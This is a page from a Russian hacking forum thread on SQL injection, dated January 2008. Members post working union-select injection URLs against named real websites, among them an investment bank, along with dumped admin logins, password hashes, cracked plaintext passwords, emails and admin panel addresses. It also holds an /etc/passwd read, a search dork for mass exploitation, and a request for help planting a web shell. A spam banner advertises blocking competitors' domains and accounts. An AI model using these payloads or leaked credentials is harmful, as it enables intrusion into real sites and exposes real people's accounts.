УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
SQL Инъекции

Страница 431 из 1242

431

Опции темы

Поиск в этой теме

Опции просмотра

#4301

03.01.2008, 12:40

n0ne

Постоянный

Регистрация: 01.01.2007

Сообщений: 796

Провел на форуме:
2693408

Репутация: 861

moblog.co.uk

Цитата:

http://moblog.co.uk/rss.php?id=-11206+union+select+1,2,concat_ws(0x3a3a,userlevel, username,password,email),4,5+from+mob_users/*

Скрипт блога тоже бажный...

#4302

03.01.2008, 17:31

ElteRUS

Постоянный

Регистрация: 11.10.2007

Сообщений: 406

Провел на форуме:
7215020

Репутация: 1423

http://www.rabota-enisey.ru/news/?article=-1+or+1=@@version--

'Microsoft SQL Server 2000 - 8.00.818 (Intel X86) May 31 2003 16:08:15 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) '

http://www.rabota-enisey.ru/news/?article=-1+or+1=(select+db_name())-- rabota-enisey.ru
http://www.rabota-enisey.ru/news/?article=-1+or+1=(select+system_user)-- rabota-enisey_ru

-----------------------------------------------------------------------------

invest.trust.ru Инвестиционный банк «ТРАСТ»

http://www.invest.trust.ru/about/press_centre/news/?id=-1+union+select+1,concat_ws(0x2F,version(),database (),user()),3,4,5,6,7,8,9/*

5.0.22/trust_rus/trust_bank@localhost

http://www.invest.trust.ru/about/press_centre/news/?id=-1+union+select+1,concat_ws(0x2F,users_login,users_ password,users_Email),3,4,5,6,7,8,9+from+site_user s+limit+0,1/*

логин/хеш/мейл
root/e6b764d1ce8aec819b8aeebb2c4f45db/

Юзаем ANTICHAT ONLINE MD5 CRACK (http://md5.xek.cc/ ) получаем:

e6b764d1ce8aec819b8aeebb2c4f45db - rjgtqrf76

#4303

03.01.2008, 17:53

SWAT

Участник форума

Регистрация: 14.12.2006

Сообщений: 211

Провел на форуме:
1541753

Репутация: 552

Код:

http://www.ptgem.pl/pokaz.php?idz=-9+union+select+1,2,3,VERSION(),5,6,7/*

Код:

http://www.foto-akcesoria.com.pl/index.php?i=produkt&nr=-9+union+select+VERSION(),2,3/*

Код:

http://www.emmanuel.home.pl/index.php?lang=uk&url2=art&info=-999+union+select+1,2,3,version(),5,6,7/*

Последний раз редактировалось SWAT; 03.01.2008 в 18:05..

#4304

03.01.2008, 19:17

~EviL~

Участник форума

Регистрация: 14.08.2007

Сообщений: 150

Провел на форуме:
686641

Репутация: 205

www.slavishow.com

Код HTML:

http://www.slavishow.com/index.php?cat=1&mid=49+UNION+SELECT+1,concat(version(),0x3a,user(),0x3a,database()),3,4+LIMIT+170,2/*

5.0.32-Debian_7etch3-log:web_user@localhost:slavishow_web

Код HTML:

http://www.slavishow.com/index.php?cat=1&mid=49+UNION+SELECT+1,concat(id,0x3a,name,0x3a,pass),3,4+FROM+slavishow_web.admins+LIMIT+170,4/*

1:tester:09dc76b84e834f94643dde29695d28ec
2:dani:b5284b4b124260044f1a640fd6494b3f
3:joro:e10adc3949ba59abbe56e057f20f883e::123456

Код HTML:

http://www.slavishow.com/index.php?cat=1&mid=49+UNION+SELECT+1,concat(user_id,0x3a,username,0x3a,user_password),3,4+FROM+db_Forum.tb_users+LIMIT+170,50/*

2:Aleko:f02123067c08a29eb91a894af3493bc8
3:darco:d8578edf8458ce06fbc5bb76a58c5ca4::qwerty (админ) http://forum.slavishow.com/login.php
...

Код HTML:

http://www.slavishow.com/index.php?cat=1&mid=49+UNION+SELECT+1,concat(login,0x3a,password,0x3a,e_mail,0x3a,realname),3,4+FROM+db_Forum.chat_users+LIMIT+170,50/*

chat_admin:wiesteludi:0: (админ) http://chat.slavishow.com/
.SLAVI.:1:BUNNY_BULL@YAHOO.COM:SLAVI
...

#4305

03.01.2008, 21:29

sharoff

Познающий

Регистрация: 05.08.2007

Сообщений: 30

Провел на форуме:
242062

Репутация: 18

Отправить сообщение для sharoff с помощью ICQ

Цитата:

Сообщение от ElteRUS

invest.trust.ru Инвестиционный банк «ТРАСТ»

...

e6b764d1ce8aec819b8aeebb2c4f45db - rjgtqrf76

админка

Цитата:

http://www.invest.trust.ru/_admin/

Шелл залить не удалось, кому удастся напишите в асю.

#4306

03.01.2008, 23:31

ILYAtirtir

Участник форума

Регистрация: 25.04.2007

Сообщений: 176

Провел на форуме:
1957988

Репутация: 739

Отправить сообщение для ILYAtirtir с помощью ICQ

Цитата:

http://www.savage.ru/news.php?target=news&id=-1'+union+select+aes_decrypt(aes_encrypt(user(),0x7 1),0x71),2/*

Одежда от Savage Ксения Собчак итд xD

Цитата:

http://www.rasytojai.lt/writers.php?sritis=jaunieji&jaunieji=1&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3 2,33,34,35,36/*

Единственное нарыл в users Marius:faktorius админку не нашёл

Цитата:

http://www.muzikosfaktorius.lt/inner.php?krep=0&tree=0&kat=SUB&class=INS&lnk=-1+union+select+1,concat_ws(0x3a,name,password),3+f rom+users+limit+1,1/*

Цитата:

http://www.starcade.com.ph/inner.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28/*&selection=80

Цитата:

http://www.dm-centre.ru/inner.php?page=news1&id=-1+union+select+version(),2,3/*

Цитата:

http://www.dm-centre.ru/inner.php?page=news1&id=-1+union+select+concat_ws(0x3a,name,password),2,3+f rom+fast_admin/*

admin:rfnz(админка(http://www.dm-centre.ru/admin.php))

Цитата:

http://www.dm-centre.ru/inner.php?page=news1&id=-1+union+select+concat_ws(0x3a,username,user_passwo rd),2,3+from+phpbb_users/*

ADMINer:9183f254e874a7ae034e68fd9f2053e1(форум)

Последний раз редактировалось ILYAtirtir; 03.01.2008 в 23:34..

#4307

03.01.2008, 23:36

Ded MustD!e

Members of Antichat - Level 5

Регистрация: 23.08.2007

Сообщений: 417

Провел на форуме:
14324684

Репутация: 3908

http://www.audiofoundation.org.nz/

Все базы расковырял, где пароли лежат)

Код:

http://www.audiofoundation.org.nz/artist_page.php?id=-1+union+select+1,concat_ws(0x3a,login   ,pass,mail,name),3,4,5,6,7,8,9,10,11,12,13,14+from+audiofoundation_new.users+limit+1,1/*

Код:

http://www.audiofoundation.org.nz/artist_page.php?id=-1+union+select+1,concat_ws(0x3a,login   ,pass,mail),3,4,5,6,7,8,9,10,11,12,13,14+from+drupal.users+limit+1,1/*

Код:

http://www.audiofoundation.org.nz/artist_page.php?id=-1+union+select+1,concat_ws(0x3a,emai   l,password),3,4,5,6,7,8,9,10,11,12,13,14+from+audiofoundation.artistdb+limit+0,1/*

Код:

http://www.audiofoundation.org.nz/artist_page.php?id=-1+union+select+1,concat_ws(0x3a,emai   l,password,name),3,4,5,6,7,8,9,10,11,12,13,14+from+history_forum.LUM_User+limit+0,1/*

Код:

http://www.audiofoundation.org.nz/artist_page.php?id=-1+union+select+1,concat_ws(0x3a,emai   l,password,name),3,4,5,6,7,8,9,10,11,12,13,14+from+afhp_forum.LUM_User+limit+0,1/*

Код:

http://www.audiofoundation.org.nz/artist_page.php?id=-1+union+select+1,concat_ws(0x3a,mail,   password),3,4,5,6,7,8,9,10,11,12,13,14+from+loudblog.lb_authors+limit+0,1/*

#4308

03.01.2008, 23:49

159932

Постоянный

Регистрация: 28.09.2007

Сообщений: 820

Провел на форуме:
6722038

Репутация: 1385

Цитата:

www.rabota-tula.info
www.rabota-nsk.info
www.rabota-samara.info
www.rabota-rostov.info
www.rabota-kazan.info
www.rabota-voronezh.info
www.rabota-ekaterinburg.info
www.rabota-orenburg.info
www.rabota-nn.info
www.rabota-yugra.info
www.rabota-murmansk.info
www.rabota-krasnoyarsk.info
www.rabota-bryansk.info
www.rabota-perm.info
www.rabota-tyumen.info
www.rabota-khabarovsk.info
www.rabota-chelyabinsk.info
www.rabota-kostroma.info
www.rabota-lipetsk.info
www.rabota-stavropol.info
www.rabota-ufa.info
www.rabota-yaroslavl.info
www.rabota-belgorod.info
www.rabota-tver.info
www.rabota-penza.info
www.rabota-ryazan.info
www.rabota-spb.info
www.rabota-krasnodar.info
www.rabota-volgograd.info
www.rabota-irk.info
www.rabota-chita.info
www.rabota-kursk.info
www.rabota-norilsk.info
www.rabota-orel.info
www.rabota-tambov.info
www.rabota-ulyanovsk.info
www.rabota-pskov.info
www.rabota-omsk.info
www.rabota-kaluga.info
www.rabota-izhevsk.info
www.rabota-kirov.info
www.rabota-nsb.info
www.rabota-smolensk.info
www.rabota-saratov.info

в любые подставить

Цитата:

/linkres.php?link=-41+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7, 8,9,0,1,2,3,4,5,6,7,8,9,0,1,concat(ID,0x3a,pass)+f rom+adminip/*

http://любой_из_этих_сайтов/admin.php
везде пасс 1q2w3e4r5t

#4309

04.01.2008, 02:34

~EviL~

Участник форума

Регистрация: 14.08.2007

Сообщений: 150

Провел на форуме:
686641

Репутация: 205

www.cetim.ch

Код HTML:

http://www.cetim.ch/fr/publications_details.php?pid=-115+UNION+SELECT+1,2,3,4,5,6,7,8,9,concat(version(),0x3a,user(),0x3a,database()),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/*

5.0.45-log:cetimweb@imu129.infomaniak.ch:cetimch

Код HTML:

http://www.cetim.ch/fr/publications_details.php?pid=-115+UNION+SELECT+1,2,3,4,5,6,7,8,9,LOAD_FILE('/etc/passwd'),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/*

#4310

04.01.2008, 03:16

Постоянный

Регистрация: 05.12.2004

Сообщений: 647

Провел на форуме:
1698585

Репутация: 818

Отправить сообщение для b3 с помощью ICQ

search.icq.com

Цитата:

inurl:"/modules/articles/article.php?id" site:.ru

Сама уязвимость :

Цитата:

/modules/articles/article.php?id=-1%20union%20select%20null,null,null,null,concat(0x 4847,uname,0x4847),null,null,null,null,null,null,n ull,null,null,null,null,null,null,null,null%20from %20xoops_users%20where%20uid%20like%201/*

Результат за 5 минут:

www.mosapteki.ru
Alesta:5cda66bc6dcaa02a447c95c8fa4a1ec9
===
www.vet.ru
spacedefender:ab334feeb31c05124cb73fa12571c2f6:cap tain
===
skazki-o-sile.ru
admin:0a8a413d9bc599c8e1de5fda8aa6eb02
===
www.npnh.ru
npnh:a942f5f0961d0154b26e41db069cde6b
===
www.usinsknet.ru
admin:fe01d67a002dfa0f3ac084298142eccd

range
===
www.liveinstyle.ru
admin:ae2b1fca515949e5d54fb22b8ed95575:testing
===
www.7435588.ru
Admin:246edc51f5bbea6acb7b456d4b4a6a7a:yupopa
===
www.fut-bol.ru
9389ff7e426048ed1ca3aa6b9b341a1d
===
http://www.manhattan-receivers.com
Administrator:8b1910f8606a57e795e0f39f8bcd0d24:cka ljotia
===
http://www.ua-china.com
admin:42bb650a9dfb3927c79ffaaae1e1abce:simfo
===
http://www.nauticapress.com
admin:9ae5bdc58f37d3b242a8c077a5d500f5

rvalho
===

Цитата:

_http://www.mpg56.net.ru:87ad26bdd13a98eba5adc067f7489184:
_http://www.realityshack.com:8d64f5fc381830c84ef2608ae872e 636:
_http://susuibu.com:aceaf61c55193f09b6ad3740a0af461a:
_http://belacanempire.com:78e4c39c2d80d9bc409b3531ffc520e0 :
_http://www.somosportugueses.com:fed3dc930e6338c7e95aed6f7 3270c9d:
_http://www.portaldojardim.com:d9bd10bc5ba016bc23cc1838f84 a9963:
_http://oraintl.org:180a5ed5ffcc996f034761d1b4e07a46:
_http://www.balochwarna.org:9e2787d67d6d2ae6874dc34b560207 13:
_http://www.indianoss.org:7cc3a89a8350a9a0f1b700ffd0588923 :
_http://www.vegetotherapy.org:dc8e9522878a72629f3f105f8d4a 5337:
_http://medicina.netsons.org:9c91b72b927e2c1efba40e618252d aa0:02091985
_http://www.ppjaponesia.org:ad77e88cbceb4da8569954083ee08b f7:
_http://empresascomprometidas.org:84ad41ed319c425a41f430d0 11b4cc99:
_http://milelvenihal.org:a5741dff02511e41abec0e3c5a1cf289:

Страница 431 из 1242

431

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая	k00p3r	Чужие Статьи	0	13.06.2005 11:26
SQL инъекция и Oracle, часть 2	k00p3r	Чужие Статьи	0	13.06.2005 11:24
Sql инъекция и Oracle, часть первая	k00p3r	Чужие Статьи	0	13.06.2005 11:23
Внедрение Sql кода с завязанными глазами	k00p3r	Чужие Статьи	0	12.06.2005 20:48
SQL Injection в Oracle	k00p3r	Чужие Статьи	0	12.06.2005 12:41

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход